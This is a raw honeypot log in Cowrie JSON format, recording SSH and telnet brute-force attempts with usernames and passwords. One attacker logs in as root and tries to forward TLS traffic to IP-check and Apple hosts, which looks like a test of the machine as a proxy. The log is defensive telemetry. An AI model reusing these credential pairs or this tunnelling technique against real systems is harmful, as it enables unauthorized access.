{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":56992,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e75af7c7696","protocol":"ssh","message":"New connection: 195.178.110.218:56992 (159.203.135.109:22) [session: 5e75af7c7696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:54:09.759437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:54:09.764080Z","src_ip":"195.178.110.218","session":"5e75af7c7696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:54:09.843519Z","src_ip":"195.178.110.218","session":"5e75af7c7696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:54:10.082345Z","src_ip":"195.178.110.218","session":"5e75af7c7696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:54:11.163831Z","src_ip":"195.178.110.218","session":"5e75af7c7696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.121","src_port":42318,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff030c0db0e1","protocol":"ssh","message":"New connection: 157.15.59.121:42318 (10.17.0.5:22) [session: ff030c0db0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:54:39.493768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:54:39.498267Z","src_ip":"157.15.59.121","session":"ff030c0db0e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:54:39.740911Z","src_ip":"157.15.59.121","session":"ff030c0db0e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kiosk","password":"redhat","message":"login attempt [kiosk/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:54:40.746804Z","src_ip":"157.15.59.121","session":"ff030c0db0e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:54:41.991990Z","src_ip":"157.15.59.121","session":"ff030c0db0e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.216.132.2","src_port":52435,"dst_ip":"10.17.0.5","dst_port":23,"session":"a67e3fce8cd5","protocol":"telnet","message":"New connection: 190.216.132.2:52435 (10.17.0.5:23) [session: a67e3fce8cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:55:06.394269Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":50390,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb8729f466a9","protocol":"ssh","message":"New connection: 43.245.143.215:50390 (159.203.135.109:22) [session: eb8729f466a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:55:07.169217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:55:07.174059Z","src_ip":"43.245.143.215","session":"eb8729f466a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:55:07.454740Z","src_ip":"43.245.143.215","session":"eb8729f466a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ariel","password":"Ariel123!","message":"login attempt [ariel/Ariel123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:55:08.607040Z","src_ip":"43.245.143.215","session":"eb8729f466a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:55:09.890486Z","src_ip":"43.245.143.215","session":"eb8729f466a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.948919773101807,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:55:19.343053Z","src_ip":"190.216.132.2","session":"a67e3fce8cd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.118","src_port":52234,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f16198ca2b4","protocol":"ssh","message":"New connection: 80.94.95.118:52234 (159.203.135.109:22) [session: 5f16198ca2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:11.679466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:11.683571Z","src_ip":"80.94.95.118","session":"5f16198ca2b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:11.787878Z","src_ip":"80.94.95.118","session":"5f16198ca2b4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root123","message":"login attempt [root/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:12.303427Z","src_ip":"80.94.95.118","session":"5f16198ca2b4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.251.25.101","dst_port":443,"src_ip":"80.94.95.118","src_port":52298,"message":"direct-tcp connection request to 34.251.25.101:443 from 127.0.0.1:52298","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:14.093816Z","session":"5f16198ca2b4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.251.25.101","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.251.25.101:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:17.660593Z","src_ip":"80.94.95.118","session":"5f16198ca2b4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.251.25.101","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03G\\xadz\\xdbN|\\x84#\\x1c\\xfb\\x87\\xb7\\x03\\xe2\\x89T\\xde\\xac\\x00V\\xde\\xc1w;~\\x0e:z4\\xd9~v d\\xf75\\x92\\xa6\\x85\\x9b\\x04r\\x8e\\tpWx\\xcbU\\xaa\\x8b\\xfc\\xfd\\x15\\xc5(W\\xb4A\\xc8\\xdd\\x87\\xc9\\x08L\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xf3w\\x06\\xf5A\\xaa\\xf0\\x1b\\xaeM\\xfe\\x95l\\x86?u\\xd8dU2o1\\x1f rt*\\xfa\\xd5W\\xb8t\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.251.25.101:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03G\\xadz\\xdbN|\\x84#\\x1c\\xfb\\x87\\xb7\\x03\\xe2\\x89T\\xde\\xac\\x00V\\xde\\xc1w;~\\x0e:z4\\xd9~v d\\xf75\\x92\\xa6\\x85\\x9b\\x04r\\x8e\\tpWx\\xcbU\\xaa\\x8b\\xfc\\xfd\\x15\\xc5(W\\xb4A\\xc8\\xdd\\x87\\xc9\\x08L\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xf3w\\x06\\xf5A\\xaa\\xf0\\x1b\\xaeM\\xfe\\x95l\\x86?u\\xd8dU2o1\\x1f rt*\\xfa\\xd5W\\xb8t\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:17.665393Z","src_ip":"80.94.95.118","session":"5f16198ca2b4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.30.24.209","dst_port":443,"src_ip":"80.94.95.118","src_port":53274,"message":"direct-tcp connection request to 184.30.24.209:443 from 127.0.0.1:53274","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:18.754241Z","session":"5f16198ca2b4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.30.24.209","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.30.24.209:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:20.304927Z","src_ip":"80.94.95.118","session":"5f16198ca2b4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.30.24.209","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfe\\x05\\x10.\\xbf\\x0c\\xe4+\\xcd\\x84U\\x02l(\\x04\\xccd\"\\xdc\\xe9\\xab\\xff2\\x8d~+S\\xef\\xe8\\xdc\\xc9! \\xdc\\x18F\\xca\\xd5\\xa1@\\xae\\x05\\xaa\\xf9\\xa0*\\x18\\x83f\\x0f\\xb4\\xe0+\\xf6)\\xbb\\x9dv\\xc9\\x12\\xc1  \\x12\\x85\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 0\\x8bU\\n\\x18Z \\x03NV\\xf9/\\x01X\\x86\\x00\\x93L\\x91\\xb4M\\xd2\\xd0yw\\xe6\\xbd\\x07\\xde\\x15;%\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 184.30.24.209:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfe\\x05\\x10.\\xbf\\x0c\\xe4+\\xcd\\x84U\\x02l(\\x04\\xccd\"\\xdc\\xe9\\xab\\xff2\\x8d~+S\\xef\\xe8\\xdc\\xc9! \\xdc\\x18F\\xca\\xd5\\xa1@\\xae\\x05\\xaa\\xf9\\xa0*\\x18\\x83f\\x0f\\xb4\\xe0+\\xf6)\\xbb\\x9dv\\xc9\\x12\\xc1  